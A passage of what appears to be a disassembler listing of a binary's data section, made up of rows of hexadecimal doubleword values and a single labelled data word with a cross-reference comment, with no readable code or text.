76AC4F1Bh, 67128900h, 0D53843B2h, 45F92C40h, 0E6B01FD9h dd 4C5C07C1h, 8B14E03Fh, 8D00220Dh, 44A778BDh, 3D554217h dd 0D52EE6CCh, 70F9808Ch, 5C3DF5C0h, 1461FA00h, 7C6DA74Bh dd 0D7B5147Dh, 3003A4C5h, 102D6771h, 41546EE0h, 6114F07Ah dd 3C48D91h, 1D0C465h, 3110084h, 30631539h, 99003F06h dd 0CE4037BFh, 123BDC4h, 887941FCh, 0C803A968h, 360695EAh dd 673C2816h, 6CB10FF0h, 0C3206073h, 0D73899C5h, 2258E500h dd 0F79F6707h, 134500D6h, 0A50405EAh, 24F20BF4h, 0C100E0B8h dd 5C9EF9ECh, 305234Dh, 0B379EB39h, 2000254Bh, 3317792h dd 13A3D867h, 0C037434Dh, 50075C78h, 0CD70C960h, 1751E8EDh dd 0F20F871h, 0BD4FE2DCh, 3025F400h, 99006FD7h, 3986A7EAh dd 0F456A2B7h, 143F0043h, 0D4927F79h, 510060DDh, 0F9B0692Fh dd 2CD90A21h, 0B4B359h, 8EC14F45h, 0C41D6ED0h, 2740461Bh dd 248361D5h, 0BCFAF6h, 0BF0CFA40h, 35AF895h, 0C9020FFCh dd 2531288Ah, 0A1F8C0BCh, 3A8301B1h, 6A6D783Ch, 0CBE3202Bh dd 5D428400h, 7923F774h, 0D7CE00E0h, 0C06DDCA3h, 0D100AB33h dd 5D70C972h, 5E7464h, 0E2273FFBh, 20794B51h, 38948C00h dd 0D66BA510h, 0B49B000Ah, 0F553380h, 96049916h, 4FC635D9h dd 7CF40E4h, 1542025Eh, 7AAAF39Bh, 0A4BBE90h, 0CC2AC200h dd 933B922Eh, 0BFE1Ah, 94A70D2Fh, 0EB38E0E3h, 6DC7360Bh dd 39D600A2h, 1E0F4D60h, 46DB0E66h, 98D36A46h, 0D1BBE904h dd 0B7C08D23h, 39BF9B6Dh, 9F001C8Ah, 59C2F7B6h, 0E00C42Dh dd 37EDFD52h, 399C47B3h, 7686438Ch, 98D79DB0h, 0F4C95800h dd 87C383E1h, 2B4A0791h, 0F017E28Dh, 0DA7507EEh, 5BBA8A00h dd 50F341F4h, 768F0425h, 0ACCB5323h, 29FB002Ch, 0FAC551A9h dd 59B0AEh, 0F6A249D5h, 0EA528E96h, 2A38B004h, 0C4C032B5h dd 2E39E883h, 3E56697h, 37C7AE60h, 6BF3F6C0h, 4FEC9100h dd 2416310Ah, 50F4ACB2h, 2C97E5h, 0A45C8012h, 557DE0EAh dd 2A1D4800h, 6BE2FB96h, 6E460102h, 9BD59FE9h, 1D617015h dd 0A1C0CE0Eh, 66F1A382h, 18889C51h, 0F4EFA6Bh, 472764BDh dd 0EAB01420h, 7F00A013h, 2842FA5Fh, 0FCE0E67h, 6616FF32h dd 4710D80h, 0F63DD436h, 3FC801C9h, 0AD0B46BBh, 137E35C8h dd 0EF9E9957h, 0CBF1F700h, 59B47Bh, 0A5302AB8h, 3712A409h dd 0DF941F00h, 3A476FA0h, 0E8510080h, 92C2D271h, 88752D0Bh dd 13BE9626h, 4FD0BB00h, 2E34263Ch, 6F5922h, 2FA274A8h dd 5D0060D4h, 0C7751A97h, 0EBA61C2h, 0E4F82E0h, 7E2CD980h dd 0B00BFA45h, 61DD7135h, 0D3D83A6Ch, 0AA3C0031h, 8305BFB4h dd 60028FE5h, 26FAB013h, 0A094E309h, 982238A6h, 0C74C021Ch dd 76DB36F6h, 375C0860h, 0FD7C9F16h, 0F0570883h, 3CF6AC4h dd 15942E8Eh, 0A6B0D8B0h, 0BE48754Bh, 8EDD3B99h, 0A292659Fh dd 0EE4CF407h, 0AFCF0024h, 0E26F6D8Ch, 0E81D30E4h, 0CB80397Dh dd 2747874Eh, 758B00B5h, 0D17F2083h, 0D201B3A7h, 0C7AB899Dh dd 0B5ECF5AFh, 9F7F438h, 84A25815h, 5CA6B460h, 4CC3FB01h dd 1FB15BC6h, 7F6830h, 0D573413h, 0C3C91135h, 8F07A4FAh dd 0CD2CF026h, 0DA04C250h, 36270373h, 55731E8h, 0B7150290h dd 47A92D0Fh, 8EBE43DCh, 8471E890h, 0FB88A0F4h, 627296h dd 5989DD70h, 16EF9E31h, 18E6F300h, 0C377AA4Ch, 0FA0300BBh dd 5E926B4h, 8C39845Fh, 54B689BEh, 0C7881077h, 0B11617ADh dd 0C4C00063h, 15326880h, 1E0330B6h, 98BC1D37h, 1C772AACh dd 0AE1784A7h, 40111DB8h, 332C4E49h, 40056ADh, 0A144F83Dh dd 0FA2B052h, 2EB40FA9h, 21C7AF81h, 0BE37F0C2h, 50CAA03h dd 0C859B050h, 17AC2C40h, 5E0F46h, 79B8884Ah, 8300E7D2h dd 1FAA8DB6h, 900BFAh, 9DC143EEh, 0C477C0CFh, 4F15FD2Ch dd 0DBF09600h, 48B7C8D3h, 9F093594h, 0F0803F0Ch, 8D46BED4h dd 0B1C860F7h, 0D8983825h, 5D5909F7h, 1800F777h, 1F3A37CDh dd 910CF100h, 2AC82EF3h, 0D7A603AFh, 0F71C581Eh, 4BE2C090h dd 13BFDB00h, 7D163932h, 19000A6h, 9394F9AFh, 0F1163D17h dd 0E500FFC6h, 0BAE2B769h, 61450EDAh, 1600B97Ah, 708F46EBh dd 0F7E1CB00h, 1EB518E8h, 2C070EF2h, 6DE511BCh, 1702C0B2h dd 2200B9F8h, 0B0E28692h dd 24DC87Fh, 0ED1FB36Ah, 39C04A16h, 0CE005FBDh, 8EF913A8h dd 60F3AC9Ch, 7E70EE74h, 8D032617h, 0D4A7D3F2h, 0BE2EE859h dd 16610066h, 0C44B69C5h, 0A9002B4Eh, 513C99DFh, 0F2B0949Ch dd 7919605Ch, 0DD2CA8Dh, 0D4BBDC01h, 0C3B78E20h, 259F4E8h dd 0FAF83008h, 6760DE13h, 42004EFFh, 0DD2276D7h, 3FF4CD55h dd 1600BD72h, 0A1DFBAE0h, 3300FADBh, 0C859EDBEh, 90A5B1A8h dd 0E6870086h, 0ACB1BDFh, 2D60070Dh, 0D8E1596Ah, 0B7B0069h dd 3CE7DF49h, 0BC024306h, 0B9FB8304h, 7D3C60F0h, 2037009Ah dd 56F3D829h, 0DE00740Ch, 69A9D214h, 16FDDF86h, 0C24119h dd 5884D6E6h, 0ED011A36h, 15EC1D1Ch, 0BFF4E545h, 535D0507h dd 0C0E2876Bh, 0ACD123B8h, 1F40D301h, 62AA8455h, 72CE6474h dd 804E0E7Fh, 56802822h, 0D0C032C4h, 0DE7BF6F2h, 76F0EE0Eh dd 4AFD84E8h, 0A44C8EC0h, 890601B0h, 2AFC52A7h, 0F2BB2022h dd 0A6008F90h, 32E681F3h, 0C3F602h, 0FD0B54CEh, 63133EA0h dd 0AAD06202h, 0D8C70CF2h, 0F5C63F88h, 5089A039h, 0DC205B7Ah dd 0D2F3BC2Eh, 8E003F76h, 51618F79h, 99F6CFDh, 46863D71h dd 922FD400h, 8E000259h, 0F48C5061h, 72AEE3Eh, 13F67D72h dd 0B9803F1Dh, 3AE5D628h, 84DB52h, 7566DAA3h, 127EA469h dd 80256D9Fh, 7BACDB30h, 0E217301h, 8E4E5F33h, 39F92C40h dd 0F7E0EDCh, 0C880B079h, 822BDE93h, 19F2A803h, 3AF366C6h dd 0D730FA21h, 7723B880h, 2D902400h, 70E5AA36h, 0C97F0015h dd 0C5AC12CFh, 1716381Ah, 1840F37Ah, 63603749h, 2AD300B5h dd 0AFAE5982h, 0C873EE9Dh, 0FCE24200h, 538B3385h, 8C3D016Fh dd 4D3A3896h, 0F39440C6h, 2B1EED48h, 0A70001EEh, 1676BD14h dd 0FC6D007Ah, 0A309B540h, 0C061ECA2h, 0F4E6A170h, 0C4609854h dd 670B59h, 5105CFE5h, 4AA895B8h, 1F3F2A00h, 3686F7A9h dd 0C1A8D99Fh, 0B88F092Fh, 0A897BAD0h, 0A47B0092h, 2EEEF5CEh dd 0CB4230B4h, 0A7799660h, 0CC15C22Bh, 0E1188000h, 3E785E52h dd 58C97DB8h, 83D23907h, 0DF05509Dh, 96C82Ah, 0F7CA5300h dd 13B7E02h, 26B951A4h, 0FA67EBD4h, 904050A4h, 5501B04Ch dd 15EF5C03h, 0C0EA2BA0h, 0E725F5h, 0C636C710h, 67C4713Dh dd 93A9C124h, 0EC06FE00h, 739803Fh, 0AC59F3FAh, 0FFAF00BCh dd 75018932h, 42D99DE6h, 3CC8B79Eh, 0DCF3008Bh, 18613978h dd 91007F9Fh, 215977A7h, 0BC5ED6Bh, 0BC222746h, 0C15EE8A0h dd 0E0319073h, 97BD58A9h, 0EE6DC8h, 0B1B3F445h, 0A638B818h dd 0F6CB8200h, 225A2165h, 56780BF3h, 1636h, 40B102EBh dd 0F1A42B1Dh, 0A8280E82h, 526C4835h, 0BBBFAB4h, 33B671EAh dd 30AC34E1h, 730FF090h, 0CF7BD320h, 801E6366h, 19C3B833h dd 6820ED7Ch, 0E53F0054h, 0EBF0DDB5h, 74F091ADh, 5150E00h dd 25C6231h, 4D5E008Fh, 0B21CF06Eh, 0E003986h, 0EE47AE73h dd 0CF78C4h, 95C2976Ah, 99A87668h, 0B756409h, 0AC1C24AEh dd 3F0BD0A9h, 0D4009BF2h, 157CD64h, 9FB71907h, 3930B1A9h dd 0F80878h, 0A4E82625h, 4D06F235h, 7CC26000h, 0E18590E5h dd 71800342h, 0F2133A4Ch, 729CEAB0h, 1E1C1858h, 0AD810A20h dd 0FAAC05DEh, 39F1F8h, 79BC4F7Fh, 88CA70A2h, 7BCF9400h dd 8CCD3418h, 777D1C5Ch, 10351943h, 14EFF0E4h, 79840300h dd 0D09D1F65h, 1A4A3F97h, 508F068Fh, 90E47FC3h, 85F8301Dh dd 0CEB355C0h, 1D1EFA7h, 0BDB8C8EBh, 0D8E668C7h, 9A00E4EEh dd 4BF0935Eh, 491AED06h, 26392822h, 0C4DF4180h, 0F19F0A74h dd 8E53E801h, 3A907C0Fh, 0DCA0A047h, 624294h, 20C35C1Bh dd 56752277h, 34534C00h, 21BB8110h, 1EFB0EE7h, 0F14008F5h dd 0D0BABE48h, 6275C000h, 2C2FD617h, 4402000Fh, 35A243ACh dd 0BD0E7CB8h, 807D5EF8h, 490594A0h, 0B4A8035Bh, 0BA8336A6h dd 24CF9ED9h, 173BB2Ch, 0DA44281Ch, 6B47E387h, 0E97D1B20h dd 9F9B0E7h, 0C1A1D9C7h, 0F5CF40A2h, 1B206CE4h, 0F8907F6h dd 62762h, 0B28098DCh, 6BAA9C00h, 0D5642D86h, 78881CA9h dd 0A328C07Dh, 0CD0D166Ch, 26FECC38h, 4E41FC51h, 31F066BDh dd 0A182606Ah, 3026B52Eh, 9729FB00h, 0FA330834h, 217A60ECh dd 0B9A0A31h, 0F911C461h, 1C2D14EAh, 82BBA81Dh, 6CCF231Bh dd 0F9ACB440h, 3401FCE0h, 13C7CDDBh, 74703157h, 0F37752h dd 0B9FE25E5h, 7D08005h, 51F8337Dh, 97BB4705h, 0A080585Ah dd 9DDBA5h, 5659BF09h, 3D2B9B86h, 909E8D24h, 40F4C900h dd 6511D37h, 0EE701C53h, 4EAA1DAh, 88F1C100h, 0A3D7B39Ch dd 27110047h, 2D341CD3h, 1816F6B5h, 4805F71Ah, 0A090E7E6h dd 2C873AB3h, 24989878h, 7F89094Dh, 0B415F800h, 0A9019ED4h dd 0B44CF60h, 81449F7Dh, 0A8F94A0h, 0B62C876Ch, 0F6404F44h dd 0F81AF953h, 571D2600h, 90F154A4h, 447A00D1h, 173E334Fh dd 0F4031829h, 0B2EF01EDh, 0FEE0029Dh, 0FC375BF8h, 30D0EC68h dd 1654A800h, 5AA255ABh, 3A400AEh, 35F17EFFh, 6C78B1E9h dd 14CC548h, 0D8258B77h, 36E963DFh, 0C12A9180h, 2433DA6Dh dd 79278C0Eh, 0F846601Eh, 0F36991BEh, 0A009863h, 4A12CBBAh dd 2E16E7CFh, 6C005CC1h, 0DCF9E170h, 0FA399822h, 48EC0040h dd 454EC7B7h, 1B0C385Ah, 0C9A41C89h, 0B4711304h, 0BCB8E074h dd 23D4A500h, 20677059h, 7B1B0055h, 0B4645D37h, 0BC60EFD3h dd 7FF1A3F1h, 0D0FD6052h, 0DA279181h, 0C14DE900h, 0F03AD16Ah dd 13E5053Bh, 9EFB59Ah, 0A02EBE9Eh, 79E0F50Ah, 0E86352h dd 30A17DDBh, 2B57186h, 835EF919h, 0B8E12197h, 0E8CEF64Eh dd 4C8AD620h, 2CCBCC46h, 0BF3AA060h, 5ABD48h, 7E91CE4Fh dd 0FB8357h, 10A6D076h, 9CFFD6D3h, 0C26AEB07h, 5720E6F5h dd 35C40D8h, 0EA8C10A7h, 96F2E531h, 5B608078h, 0DF55FB18h dd 11E6602Fh, 90BF98C6h, 619520h, 4EE82D04h, 375FB983h dd 439D6400h, 6DA36575h, 28080070h, 0E794CD7Ah, 0D100A6D4h dd 8914F7FFh, 0F692F4A5h, 9E6D0CB1h, 0B25039CBh, 8A00327Bh dd 0E23AD934h, 547767DBh, 2E58AC35h, 0BC404F07h, 0D3AAD185h dd 0F698B4FDh, 0FB293C62h, 206064F4h, 9901A6CBh, 54A2EEA3h dd 8CEC06B2h, 32B00B8h, 41EFDA5h, 1C0051AFh, 0A44E4316h dd 5F79B4h, 1BE684ECh, 704BBD0Dh, 7F8A901Eh, 5E38B000h dd 5882758Bh, 2A0F28B7h, 0F52908EFh, 0F15BB400h, 76004061h dd 0C311A606h, 0BA7359h, 634BB893h, 78FB8639h, 2B6A6F00h dd 53B75D9Ah, 0DD9200C9h, 0E4965C30h, 0F00FAC19h, 60AD630Ch dd 0AE07EE32h, 13F90945h, 95805C34h, 0B582BDD6h, 0F8FDD530h dd 2937561h, 7F112DBBh, 54D2F063h, 0A1B58500h, 0DC9E5AC3h dd 0E9340006h, 99FBE83Ah, 0C100D17Dh, 68F91059h, 79A35241h dd 4F7E09DCh, 2001B85Bh, 2E495DB7h, 37119C67h, 9824C003h dd 64F400A4h, 82819F6Dh, 92001F39h, 0C683B2DFh, 7D9F74Fh dd 0F81B0C06h, 0D1BDB0E6h, 1403DABBh, 0FE11793Fh, 958AF03Ah dd 25DC9293h, 420F4A1h, 26B3B0CCh, 53D2D800h, 9D3EE572h dd 0E3ECA0EEh, 0CD400531h, 0C0DA1DA4h, 699E5897h, 0D0417700h dd 31F443F8h, 46FA1D8Ch, 307000D3h, 9A176EB0h, 0DFDC0302h dd 609B8F5Eh, 9C27B50h, 71622AEFh, 17B2E600h, 0C8007547h dd 0A6973A73h, 0EBABE7h, 31AF0FEEh, 0A28BC3B9h, 8FA84900h dd 42747913h, 69B0F50h, 810F39F3h, 0BAD10D80h, 7B00EF32h dd 0EE6C5202h, 0ACDA0Bh dd 0C9DB99DFh, 0F9A4FE74h, 0B0A1D400h, 57B28805h, 918E00F7h dd 200FE770h, 260B4DA4h, 31F06047h, 3C18D848h, 3043DF26h dd 0B47A9780h, 58C8F91Eh, 7691F6h, 0E948F5CCh, 9652CF8Ch dd 5F04382Ch, 49280025h, 1F82931Dh, 47D9B334h, 6C88EA22h dd 0A701BD28h, 6CAF291Ah, 38627C9Fh, 0D3CAEB00h, 0B01FF440h dd 500B754Ah, 51BC0264h, 63DE6029h, 0C8970309h, 4CBA91CBh dd 1320A104h, 0E89054AFh, 240B968h, 59690D9Fh, 0E46086A6h dd 0CA2C51B0h, 32002022h, 4B5C98CEh, 0F49213h, 0B50C6C75h dd 911BB478h, 144EDB33h, 0FDB8F04Fh, 0B4F55871h, 25135400h dd 18D0CCCh, 0AB3CBD16h, 7B329428h, 0D1230003h, 304CE8AFh dd 3D14D2A7h, 2CD248C8h, 511EA42Ah, 0DF3E97CEh, 0FE6F5F40h dd 7EAE69h, 1DC234C5h, 6315026Bh, 0A89A522Ch, 0CB92BE90h dd 542F0B5Ch, 500C8964h, 3056787Ch, 37992BB3h, 30548E2Dh dd 6F0B4498h, 2ACBC5h, 65621A08h, 3BA2159Ch, 1913886Dh dd 4C1C8AF5h, 2C9D0334h, 91195C28h, 0F7EC6C4Dh, 18087FE5h dd 28836A11h, 0D77DF0BDh, 0C70BE892h, 68482155h, 1717667Ch dd 0C29F879h, 0A6DCF95Ch, 0A02579DCh, 9E9782F4h, 487A1233h dd 0F60C00D8h, 54ED894Dh, 5291F460h, 597063DBh, 93709Bh dd 1F302BECh, 9306CFE3h, 0E9A003BDh, 52B12E60h, 40E35894h dd 9B2A427Ah, 6AF098B4h, 0A0F26922h, 5C8722A4h, 8500DBF7h dd 5007EB39h, 9700D967h, 5989D783h, 1DF0482Ch, 83BD3F19h dd 23AA76A8h, 7C60A6BAh, 920975DBh, 0F882E862h, 0A59706B0h dd 116D540Ch, 2690DE00h, 1F3AF34Fh, 0EEAB0139h, 1B521451h dd 8C536B38h, 3BE35C30h, 4BF876E9h, 29B40863h, 0B37D2660h dd 21900013h, 0A69C529Ah, 68003E35h, 0E4F58459h, 439222h dd 8EC41D4Fh, 85107DBBh, 0C6ECA1F4h, 79BF503h, 0FAB09356h dd 226CC07Bh, 8AAB000Dh, 40994BAAh, 883BC47Fh, 0FC728269h dd 0C08B1764h, 98C3CECBh, 16BE00B0h, 0FE2DB54Ch, 4B038624h dd 0CC37940Ah, 9FADF8C6h, 0A65600A9h, 2082F54Ah, 0EF01548Ch dd 0DE1479FAh, 9F6098C7h, 0D4720B3Fh, 28742386h, 0C45BF100h dd 7EA7BACh, 0B1B4452Eh, 20BBA30Dh, 71E144D8h, 1C37C30Fh dd 78D5A022h, 48C23601h, 0B400A0A0h, 206376C5h, 94C03202h dd 8ECF016h, 19653F50h, 0C09BDC00h, 98C93A99h, 7FE4BC00h dd 388B84D7h, 532C0009h, 4195E3F1h, 2143A78h, 79E034C1h dd 0F7F45C01h, 8DC9E95Ah, 1F19D874h, 4087D0E0h, 94580849h dd 0B400DDE6h, 28163B33h, 7AC72702h, 0ECCF004Eh, 0ADA9176Fh dd 3E00F547h, 0BB067B1Ah, 9321D1h, 3D494A9Eh, 76628D80h dd 14F3972Eh, 0DF1C2700h, 701275A9h, 787D607Bh, 11E0DE53h dd 689C48h, 0E3162AFDh, 0EE1F3DDh, 9ACA4131h, 0C1DF39E3h dd 6C25AF98h, 324A8801h, 4FC8A056h, 913E303Ch, 58318200h dd 0BCCCA14h, 0AE83AF07h, 2CF41FB9h, 3C0C0C80h, 35FD30EFh dd 4BDEF548h, 350548h, 9CDB75E9h, 1B1F05Ch, 4913A6E4h dd 90D48C16h, 61099561h, 18A0C625h, 72C971DAh, 8C923300h dd 2AF3632Bh, 24CC79B1h, 2ABD319h, 1B16AE7Eh, 0B809D4D8h dd 1824FB7h, 3E052C78h, 35F0BDFDh, 722100BAh, 689187D7h dd 5B38EF49h, 0C29484BFh, 4A86484h, 215D3400h, 6D10A839h dd 3064AC4Ch, 0B62F40C0h, 0F372003Bh, 640E0348h, 0F5308971h dd 50C621DAh, 165C2C21h, 4CBC1F49h, 0E5483A98h, 34004372h dd 2EADDABAh, 7688E88Ch, 0FC370429h, 8740B8EAh, 0C8C1B024h dd 20002A35h, 0CC7CBBBh, 8CCE1Fh, 66768160h, 2A30A590h dd 0D581A099h, 6E8E5D10h, 544F9C42h, 80073930h, 0A777A22Dh dd 0F65F80EBh, 7D00D710h, 0F54E6EEAh, 0F4C464Dh, 4041AE35h dd 516BFFA0h, 897EA938h, 0AA6E9400h, 1AB59FD9h, 0EA4B0088h dd 3378EC84h, 0CCB84604h, 31EBDF00h, 680FBD02h, 0C0C31D18h dd 0B587C091h, 65DCAC7Fh, 0F5939F02h, 0C0F02E9Ch, 79166FCh dd 56A34FCh, 0C1405F3Bh, 76D5B797h, 94736C00h, 80DBA12Fh dd 0BF1B0F87h, 92C02895h, 0F89ADDD2h, 0F48C5F5Ah, 464F03Ah dd 35A23B8Ch, 0F3B98098h, 0B200F144h, 2DE2B4DFh, 13069F17h dd 40707303h, 32AF40D8h, 709B85Ch, 60516599h, 8F7148h dd 0F74B22D4h, 281976AEh, 0A87C901Dh, 246DED00h, 130A702Ch dd 0A662CBh, 0D6A01420h, 0E23D8003h, 0F62B0091h, 2FEA8C4Fh dd 5BB900C5h, 0F9607BBCh, 0F81DA941h, 37D604A2h, 7E9B4E0h dd 4350738Bh, 0DAD8B0F6h, 324CE0E2h, 3CB50B20h, 9C501694h dd 0E8B050C0h, 43FF5906h, 6E08E21h, 6B3C5719h, 0F080C86Ch dd 0D0E05570h, 40A5D82Ch, 936D4401h, 0D7DCBC8Eh, 4BF50090h dd 5EB1CA82h, 0EB587161h, 0D1C50030h, 0D31B7BFh, 546F167Bh dd 2158804Ch, 0A7009DB1h, 0AD87A56h, 703ED530h, 8196000Ch dd 1485A535h, 0ED2C6CDDh, 0BE015355h, 0B6CF537Ah, 39AB8085h dd 24508C45h, 320F389Ch, 790C8077h, 3D05FE5h, 238150C5h dd 0F2F85D12h, 15508611h, 0B9082AC4h, 1D9E05E1h, 0BF9A80D0h dd 82561E3Ch, 140F62E0h, 0E071A528h, 3FC87275h, 86B51D1Ch dd 2CF1E6Dh, 6F205B23h, 37485DE0h, 767151Eh, 0A3969C43h dd 0C40ECDA5h, 81F00989h, 2C5F19E4h, 0E04C006Fh, 79631B05h dd 0B897E315h, 6E2403C8h, 0C0EE747Bh, 9A40B985h, 927650h dd 0B0384F50h, 0CE978083h, 4BBDDB2Eh, 7E6A7A01h, 0E5425189h dd 0BE005D3Bh, 0A6D1F106h, 0AB7C970Eh, 0EEB280EAh, 0EA3D381h dd 806A9324h, 0A0E5F6E0h, 3B007CAEh, 0B1A92E3Fh, 9B0A19h dd 5F14CA34h, 0CDAB92E5h, 0D4609D1Dh, 0B9733C0h, 25866153h dd 0AC600739h, 0AF0001A2h, 8E592CC4h, 3CA5B530h, 0AA839474h dd 38072DEFh, 0DF4AFC80h, 0FA1AAD01h, 55D6D85h, 0E8F830h dd 18FD8BA5h, 0A9520778h, 2D50A85Dh, 7FF810AAh, 701580A4h dd 2978D3FCh, 5E003AB8h, 0EAA38385h, 90E791B7h, 160B205h dd 642AD37Dh, 60AF9CCBh, 0B40749EBh, 84777C87h, 1780058Bh dd 0FFB8B8D0h, 20AC003Ch, 6FFE0452h, 0B100F410h, 7C16FC75h dd 0D8839Dh, 0C3611C22h, 53DFD0A9h, 0BC861D28h, 0DE0CACEEh dd 108AE9E8h, 0AAD22D15h, 2CC60862h, 3B6BD100h, 88A0547Fh dd 0D72501DDh, 73FABC9Dh, 5F3881A7h, 0A2C4B45h, 369AE0EAh dd 44795819h, 2534F301h, 0D8352743h, 840FE9AFh, 0C023ED5Dh dd 419B050Bh, 8650C06Dh, 0ACEECA44h, 1FA0CD00h, 26FB7ECFh dd 0E61EE29h, 93A17430h, 0A8D8EB40h, 0E10E28D3h, 0CA8F7959h dd 0A414E3E0h, 0D6BB00A0h, 1A305622h, 0F1191F49h, 0B2D8C5DDh dd 0AC26h, 0C3D483B7h, 657439h, 0C41FC5A9h, 0F6447F4Ch dd 0A037132Fh, 0CE6D871Ch, 2830F570h, 1F400084h, 61306271h dd 5A04FB3Ah, 5675ED24h, 0CBE254D0h, 424024D8h, 4B064000h dd 0C409AA6Ch, 27B695CDh, 82A94298h, 0D46AC770h, 2C3C1C5Ch dd 89AA00C9h, 4F83E55h, 0BC524002h, 40B6C45Fh, 75FA1754h dd 20754841h, 507FD500h, 10A7F158h, 6EDC43Ah, 741A7693h dd 7C230220h, 0E81C0630h, 72E53040h, 1D4D9588h, 0C7F493BCh dd 0C0A7DD3Ah, 10138950h, 0B8A4DC04h, 0FC88F598h, 0B00105F2h dd 0C0CD75D5h, 2D6B6F4Ch, 0A65D5E0Fh, 7B64C057h, 2EECD069h dd 8C6D0Dh, 0BEE6121Fh, 0C0C0D2DBh, 0ACED9882h, 75D0051h dd 6C232667h, 0EB2DA908h, 0BDBCC897h, 0A53300BBh, 64ECE999h dd 610555FAh, 868FBA89h dd 87BC00F3h, 45F30386h, 1D673FF2h, 0EE84602Dh, 8295006Ch dd 891FCDC1h, 720024B1h, 867B9180h, 94030BB0h, 0CC00270Ch dd 96918DBh, 0BC0D172Eh, 0E528B80Eh, 0B40063CDh, 34362059h dd 106563D8h, 0E4C88433h, 0B70931DEh, 0C197EC30h, 0DC3D6A74h dd 4D408D00h, 6114397Eh, 0E8709900h, 46A60E0Dh, 9D59C00Ah dd 3536273Ah, 0FE4886F5h, 0B00EE48Ah, 39785807h, 9304EC24h dd 42892AFh, 0E00214FCh, 5893B6C6h, 729F09F8h, 4841B8DAh dd 90DCD743h, 700E8460h, 0D6291B0Fh, 0C5CC01Dh, 0A6CB8Ch dd 0BCE9B63Dh, 0FDDC6550h, 40BB398h, 9D2B8Bh, 90FBDA74h dd 0DFCA005Ch, 84A7B5F6h, 0C905327Fh, 522FD1A5h, 7516CF4h dd 0F6CE672Dh, 3AC3AB7h, 17B1E429h, 7D93D7C0h, 750D5624h dd 20371200h, 0AA35A5h, 0A8E2C7EEh, 6A16321Eh, 0E802E35Eh dd 70194A9Bh, 0C54FCCCh, 86C67D49h, 9C07D2D1h, 0CBB78BB5h dd 0E99693E0h, 81580037h, 0B4805EA3h, 5326E8E1h, 0C800B0BCh dd 932EE913h, 418CB6DCh, 38823CADh, 95480968h, 0BE6C207Ch dd 0F19626Fh, 0B4F99C77h, 56AA3B20h, 93005C3Fh, 0A3250FC5h dd 1D2705CAh, 8EB72079h, 96E08798h, 1B1D6216h, 0B30E0D75h dd 7C973A1h, 0E0435F90h, 0B56AE0D0h, 3ACD0042h, 977D5C1Ch dd 70008432h, 0AE4B0CDEh, 985326h, 752B92ACh, 47D3565Ch dd 6C932300h, 4F142D45h, 709701FDh, 4349F91h, 4806810h dd 923EE35Fh, 0F4E51F80h, 0CB790794h, 77B357C3h, 9F54E167h dd 30D9D428h, 2A480A0Eh, 0E2F0673Bh, 94B81A03h, 0D401A0A8h dd 54724943h, 0E8A4300Eh, 6F0B5C00h, 2B83D7E1h, 0B7A7FC6h dd 71F9E0E2h, 90565880h, 5EE89C61h, 40AB6524h, 7D44901h dd 19E8D073h, 92B000A4h, 0E3EBBF5Dh, 3E00EF44h, 0B3D8651Ah dd 1CB4EDh, 7B8C9573h, 6859AA60h, 0C0FC839Fh, 74F935Bh dd 0D7DE1388h, 0CC363024h, 0F2004EFFh, 8E199737h, 9D3F708h dd 0C054D1A4h, 5E754C80h, 905CCBFFh, 0E069336Ch, 1948D00Dh dd 27521344h, 0F6CCE06Fh, 0C2D06C00h, 8CC9FD92h, 9BF400BBh dd 0E7F98BEDh, 3712E448h, 0F0409C01h, 0F5ADC1ACh, 61030038h dd 15FF092Eh, 3000D722h, 1FA4D427h, 1371AAF6h, 952B8Ch dd 1549BC98h, 0A99713A5h, 0E4CD22Ch, 0E904FED4h, 84266620h dd 0D119FF46h, 0BC10EA7Ah, 0F0F3B1E1h, 9AA26168h, 7E1E2504h dd 81007C0Fh, 770C056Bh, 7AED08C0h, 580AE78Ah, 0BD00725Fh dd 0F0317624h, 7700AF81h, 0A4479FBBh, 0DDA385h, 22E30E4Fh dd 29D8548Fh, 84BE3Ch, 0A46B30D4h, 17106292h, 0F1F436h dd 7A25B89h, 99C09B9Eh, 0E920E3F8h, 0E01308Dh, 0BADB2B21h dd 0A6073A03h, 86CDC69Bh, 0A3ECA8h, 6EF02F73h, 0E522F8CCh dd 68005D7Ch, 0D3AB6081h, 167495E4h, 1FAAB819h, 2E1F80D1h dd 231C02E9h, 2B76D507h, 0E681218Bh, 69C45DE7h, 8AD00E2Ch dd 90403EA9h, 993A849Ch, 0C58D7F00h, 0BE3B755Ah, 59F00009h dd 0BDE8FDE7h, 747511A5h, 7CB4AC01h, 2F82DAEEh, 1E831D20h dd 407805C3h, 6DBDBA56h, 86006111h, 0CA73188Bh, 0F07F3968h dd 0AE830E85h, 0F7601416h, 9D91B7D5h, 416CCEA1h, 0E825EAC8h dd 0DA4841F1h, 0A899012Fh, 0C829F15h, 20FAE0h, 0F8F0905Fh dd 89EAB627h, 0ECA8FBFAh, 0DE00A0FCh, 4DEC1C30h, 0BB4964h dd 5877694Fh, 0E21F02C0h, 44FEF124h, 0D607D03h, 0ECE5FFF6h dd 4790BC01h, 37F4FCEFh, 20E8009Fh, 0E2FB3D0Fh, 973A09E5h dd 0EAE075FFh, 81B9C63Bh, 0F979FE13h, 81BEF21Dh, 0A1081B30h dd 0ED00918Bh, 98381494h, 0E1C26D3h, 88975F1h, 548471A0h dd 9F0FE110h, 80CC1B0Dh, 5E6927F9h, 47B90240h, 8FC29909h dd 0E2DBF85h db 0DEh, 0EAh word_505446 dw 226Bh ; DATA XREF: ___:off_4374B8o dd 69E89868h, 8193361Ch, 0E0A88F27h, 7B4890AAh, 0AFAD1C34h dd 0C2C70CF1h, 0A1DD931h, 450077CBh, 0D6AF57D5h, 8F1F0304h dd 0ACC68C2Bh, 0CE542900h, 26C50641h, 0C270079Ch, 70CC8187h dd 0E2663834h, 6B3AB07h, 925089FCh, 1C29CFDFh, 81096569h dd 5972BDA3h, 4FF0F81Eh, 54219300h, 0DA6D1B30h, 36FD06B7h dd 41FE3769h, 2167031Dh, 0F3D5A1Eh, 0A392E36Dh, 0F33E614Ah dd 0D7183C36h, 58136C1Fh, 31891014h, 932B2C00h, 0DC434F9Bh dd 423E0041h, 1D71DF22h, 0CB0F33C2h, 0FAB8A75h, 0E16A4083h dd 6C8357Dh, 0B8A0A12Bh, 40F0815Ch, 14CE4100h, 0D878D7Dh dd 0C286008Bh, 77C59A4Eh, 711820B0h, 3F3101B8h, 0B2991CE4h dd 0A002C057h, 9AC40E88h, 8903F172h, 0E14EC773h, 0B750014Ah dd 408390D3h, 66D08150h, 5BFCC01h, 3130E0F5h, 0C2D1C074h dd 0C52BBBFAh, 4052461Dh, 71E57A80h, 18094C50h, 